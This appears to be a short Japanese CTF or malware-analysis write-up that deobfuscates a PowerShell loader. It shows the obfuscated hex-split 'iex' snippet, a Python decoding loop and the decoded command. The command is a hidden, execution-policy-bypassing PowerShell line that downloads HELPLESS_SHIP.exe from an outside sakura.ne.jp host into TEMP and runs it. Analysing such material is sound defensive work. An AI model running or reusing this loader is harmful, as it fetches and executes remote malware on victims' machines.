-SPLit 'Q'-SplIt'V'-SpLiT'<' -SPlIt'I' -SplIT '-'-SplIT'M'-spLIT 'y'-sPLit '}'|FoREaCh-oBJECT { ( [cOnVERT]::toinT16( ($_.TosTriNG()), 16)-aS [chAr]) } )-joIN''| .( $Shellid[1]+$SHelLID[13]+'x')
前半の
'70-6f-77<65Q72-73V68y65I6cM6cV20-2d-45V78}65V63M75Q74M69-6fI6e}50M6fM6c}69V63y79-20}42M79Q70Q61<73V73V20y2dQ77V20M68V69}64V64}65-6eM20V2dM43-6f<6dQ6dV61y6ey64}20-22<77}67M65<74-20M68M74y74<70}3ay2fQ2f}69}6bQ31-2d-34<31I31V2dI33-37-36Q36Q30V2e<76Q73M2eI73I61M6by75-72}61-2eQ6eV65y2eI6a<70y2fI65y6d<70I69I72Q65}2f-6bM6fy62y2fQ48}45V4c<50}4c<45-53-53M5fy53I48<49M50V2e}65Q78I65-20I2dM4fI75V74}46M69Q6c-65V20I43Q3aI5c<55V73-65M72}73<5cy55}73y65}72<30<31-2e}43Q53y54-45<53Q54y5c-41-70M70M44I61y74<61Q5c-4cQ6fV63V61I6cQ5cy54M45y4dM50<5cQ48y45Q4cI50I4c<45Q53<53I5fI53y48Q49V50V2eV65<78-65y3b<20Q53y74}61-72}74Q2d}50I72}6fM63<65I73}73Q20-22V43V3a<5cy55y73y65}72V73<5c<55M73I65-72I30M31}2e}43I53-54Q45Q53Q54}5c-41}70I70}44y61y74}61I5c-4cV6fV63<61V6cy5c-54I45}4dQ50I5c-48Q45<4c}50I4c<45y53y53Q5fy53M48-49I50y2eM65y78Q65-22y22' -SPLit 'Q'-SplIt'V'-SpLiT'<' -SPlIt'I' -SplIT '-'-SplIT'M'-spLIT 'y'-sPLit '}'
を PowerShell に投げて得られた値を文字に変換する.
enc = [0x70, 0x6f, 0x77, 0x65, 0x72, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x20, 0x2d, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x20, 0x42, 0x79, 0x70, 0x61, 0x73, 0x73, 0x20, 0x2d, 0x77, 0x20, 0x68, 0x69, 0x64, 0x64, 0x65, 0x6e, 0x20, 0x2d, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x20, 0x22, 0x77, 0x67, 0x65, 0x74, 0x20, 0x68, 0x74, 0x74, 0x70, 0x3a, 0x2f, 0x2f, 0x69, 0x6b, 0x31, 0x2d, 0x34, 0x31, 0x31, 0x2d, 0x33, 0x37, 0x36, 0x36, 0x30, 0x2e, 0x76, 0x73, 0x2e, 0x73, 0x61, 0x6b, 0x75, 0x72, 0x61, 0x2e, 0x6e, 0x65, 0x2e, 0x6a, 0x70, 0x2f, 0x65, 0x6d, 0x70, 0x69, 0x72, 0x65, 0x2f, 0x6b, 0x6f, 0x62, 0x2f, 0x48, 0x45, 0x4c, 0x50, 0x4c, 0x45, 0x53, 0x53, 0x5f, 0x53, 0x48, 0x49, 0x50, 0x2e, 0x65, 0x78, 0x65, 0x20, 0x2d, 0x4f, 0x75, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x20, 0x43, 0x3a, 0x5c, 0x55, 0x73, 0x65, 0x72, 0x73, 0x5c, 0x55, 0x73, 0x65, 0x72, 0x30, 0x31, 0x2e, 0x43, 0x53, 0x54, 0x45, 0x53, 0x54, 0x5c, 0x41, 0x70, 0x70, 0x44, 0x61, 0x74, 0x61, 0x5c, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x5c, 0x54, 0x45, 0x4d, 0x50, 0x5c, 0x48, 0x45, 0x4c, 0x50, 0x4c, 0x45, 0x53, 0x53, 0x5f, 0x53, 0x48, 0x49, 0x50, 0x2e, 0x65, 0x78, 0x65, 0x3b, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x2d, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x20, 0x22, 0x43, 0x3a, 0x5c, 0x55, 0x73, 0x65, 0x72, 0x73, 0x5c, 0x55, 0x73, 0x65, 0x72, 0x30, 0x31, 0x2e, 0x43, 0x53, 0x54, 0x45, 0x53, 0x54, 0x5c, 0x41, 0x70, 0x70, 0x44, 0x61, 0x74, 0x61, 0x5c, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x5c, 0x54, 0x45, 0x4d, 0x50, 0x5c, 0x48, 0x45, 0x4c, 0x50, 0x4c, 0x45, 0x53, 0x53, 0x5f, 0x53, 0x48, 0x49, 0x50, 0x2e, 0x65, 0x78, 0x65, 0x22, 0x22]
for e in enc:
print(chr(e), end='')
powershell -ExecutionPolicy Bypass -w hidden -Command "wget http://ik1-411-37660.vs.sakura.ne.jp/empire/kob/HELPLESS_SHIP.exe -OutFile C:\Users\User01.CSTEST\AppData\Local\TEMP\HELPLESS_SHIP.exe; Start-Process "C:\Users\User01.CSTEST\AppData\Local\TEMP\HELPLESS_SHIP.exe""